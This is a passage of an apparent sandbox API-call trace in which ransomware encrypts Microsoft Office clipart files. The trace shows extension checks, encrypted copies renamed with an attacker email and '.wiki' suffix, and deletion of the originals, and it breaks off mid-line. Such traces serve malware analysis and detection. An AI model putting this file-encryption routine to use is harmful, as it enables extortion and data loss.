lpString2=".WMF") returned 1 [0189.369] lstrlenW (lpString=".xlsx") returned 5 [0189.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.369] lstrlenW (lpString=".ppt") returned 4 [0189.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.369] lstrlenW (lpString=".zip") returned 4 [0189.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.369] lstrlenW (lpString=".rar") returned 4 [0189.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.369] lstrlenW (lpString=".bz2") returned 4 [0189.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.370] lstrlenW (lpString=".7z") returned 3 [0189.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.370] lstrlenW (lpString=".dbf") returned 4 [0189.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.370] lstrlenW (lpString=".1cd") returned 4 [0189.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.370] lstrlenW (lpString=".jpg") returned 4 [0189.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.370] lstrlenW (lpString=".doc") returned 4 [0189.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.370] lstrlenW (lpString=".docx") returned 5 [0189.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.370] lstrlenW (lpString=".pdf") returned 4 [0189.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.370] lstrlenW (lpString=".xls") returned 4 [0189.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.370] lstrlenW (lpString=".xlsx") returned 5 [0189.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.370] lstrlenW (lpString=".ppt") returned 4 [0189.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.370] lstrlenW (lpString=".zip") returned 4 [0189.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.370] lstrlenW (lpString=".rar") returned 4 [0189.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.370] lstrlenW (lpString=".bz2") returned 4 [0189.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.371] lstrlenW (lpString=".7z") returned 3 [0189.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.371] lstrlenW (lpString=".dbf") returned 4 [0189.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.371] lstrlenW (lpString=".1cd") returned 4 [0189.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.371] lstrlenW (lpString=".jpg") returned 4 [0189.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.371] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.371] lstrlenW (lpString="HH00235_.WMF") returned 12 [0189.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.371] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1026) returned 1 [0189.372] CloseHandle (hObject=0x1d8) returned 1 [0189.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0189.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.372] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.372] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.372] GetLastError () returned 0x0 [0189.372] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x402, lpOverlapped=0x0) returned 1 [0189.374] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x410, lpOverlapped=0x0) returned 1 [0189.375] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.375] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.376] SetEndOfFile (hFile=0x1f8) returned 1 [0189.376] CloseHandle (hObject=0x1f8) returned 1 [0189.376] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.376] SetEndOfFile (hFile=0x1d8) returned 1 [0189.377] CloseHandle (hObject=0x1d8) returned 1 [0189.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0189.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.377] lstrlenW (lpString=".doc") returned 4 [0189.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.377] lstrlenW (lpString=".docx") returned 5 [0189.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.377] lstrlenW (lpString=".pdf") returned 4 [0189.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.377] lstrlenW (lpString=".xls") returned 4 [0189.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.377] lstrlenW (lpString=".xlsx") returned 5 [0189.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.378] lstrlenW (lpString=".ppt") returned 4 [0189.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.378] lstrlenW (lpString=".zip") returned 4 [0189.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.378] lstrlenW (lpString=".rar") returned 4 [0189.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.378] lstrlenW (lpString=".bz2") returned 4 [0189.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.378] lstrlenW (lpString=".7z") returned 3 [0189.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.378] lstrlenW (lpString=".dbf") returned 4 [0189.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.378] lstrlenW (lpString=".1cd") returned 4 [0189.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.378] lstrlenW (lpString=".jpg") returned 4 [0189.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.378] lstrlenW (lpString=".doc") returned 4 [0189.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.378] lstrlenW (lpString=".docx") returned 5 [0189.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.378] lstrlenW (lpString=".pdf") returned 4 [0189.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.379] lstrlenW (lpString=".xls") returned 4 [0189.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.379] lstrlenW (lpString=".xlsx") returned 5 [0189.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.379] lstrlenW (lpString=".ppt") returned 4 [0189.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.379] lstrlenW (lpString=".zip") returned 4 [0189.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.379] lstrlenW (lpString=".rar") returned 4 [0189.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.379] lstrlenW (lpString=".bz2") returned 4 [0189.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.379] lstrlenW (lpString=".7z") returned 3 [0189.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.379] lstrlenW (lpString=".dbf") returned 4 [0189.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.379] lstrlenW (lpString=".1cd") returned 4 [0189.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0189.379] lstrlenW (lpString=".jpg") returned 4 [0189.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.512] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.512] lstrlenW (lpString="HH00236_.WMF") returned 12 [0189.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.512] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3286) returned 1 [0189.512] CloseHandle (hObject=0x1f8) returned 1 [0189.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0189.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.513] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.513] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.513] GetLastError () returned 0x0 [0189.513] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xcd6, lpOverlapped=0x0) returned 1 [0189.631] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xce0, lpOverlapped=0x0) returned 1 [0189.632] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.632] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.632] SetEndOfFile (hFile=0x218) returned 1 [0189.632] CloseHandle (hObject=0x218) returned 1 [0189.632] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.632] SetEndOfFile (hFile=0x1f8) returned 1 [0189.633] CloseHandle (hObject=0x1f8) returned 1 [0189.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0189.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.633] lstrlenW (lpString=".doc") returned 4 [0189.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.633] lstrlenW (lpString=".docx") returned 5 [0189.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.633] lstrlenW (lpString=".pdf") returned 4 [0189.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.633] lstrlenW (lpString=".xls") returned 4 [0189.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.633] lstrlenW (lpString=".xlsx") returned 5 [0189.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.633] lstrlenW (lpString=".ppt") returned 4 [0189.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.634] lstrlenW (lpString=".zip") returned 4 [0189.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.634] lstrlenW (lpString=".rar") returned 4 [0189.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.634] lstrlenW (lpString=".bz2") returned 4 [0189.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.634] lstrlenW (lpString=".7z") returned 3 [0189.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.634] lstrlenW (lpString=".dbf") returned 4 [0189.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.634] lstrlenW (lpString=".1cd") returned 4 [0189.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.634] lstrlenW (lpString=".jpg") returned 4 [0189.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.634] lstrlenW (lpString=".doc") returned 4 [0189.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.634] lstrlenW (lpString=".docx") returned 5 [0189.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.634] lstrlenW (lpString=".pdf") returned 4 [0189.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.634] lstrlenW (lpString=".xls") returned 4 [0189.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.634] lstrlenW (lpString=".xlsx") returned 5 [0189.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.635] lstrlenW (lpString=".ppt") returned 4 [0189.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.635] lstrlenW (lpString=".zip") returned 4 [0189.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.635] lstrlenW (lpString=".rar") returned 4 [0189.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.635] lstrlenW (lpString=".bz2") returned 4 [0189.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.635] lstrlenW (lpString=".7z") returned 3 [0189.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.635] lstrlenW (lpString=".dbf") returned 4 [0189.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.635] lstrlenW (lpString=".1cd") returned 4 [0189.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0189.635] lstrlenW (lpString=".jpg") returned 4 [0189.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.635] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.635] lstrlenW (lpString="HH00612_.WMF") returned 12 [0189.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.636] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=12632) returned 1 [0189.636] CloseHandle (hObject=0x1f8) returned 1 [0189.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20 [0189.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.636] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.636] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.637] GetLastError () returned 0x0 [0189.637] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3158, lpOverlapped=0x0) returned 1 [0189.661] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3160, lpOverlapped=0x0) returned 1 [0189.662] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.662] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.662] SetEndOfFile (hFile=0x218) returned 1 [0189.662] CloseHandle (hObject=0x218) returned 1 [0189.662] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.662] SetEndOfFile (hFile=0x1f8) returned 1 [0189.663] CloseHandle (hObject=0x1f8) returned 1 [0189.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0189.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.663] lstrlenW (lpString=".doc") returned 4 [0189.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.663] lstrlenW (lpString=".docx") returned 5 [0189.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.663] lstrlenW (lpString=".pdf") returned 4 [0189.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.663] lstrlenW (lpString=".xls") returned 4 [0189.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.663] lstrlenW (lpString=".xlsx") returned 5 [0189.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.664] lstrlenW (lpString=".ppt") returned 4 [0189.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.664] lstrlenW (lpString=".zip") returned 4 [0189.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.664] lstrlenW (lpString=".rar") returned 4 [0189.664] 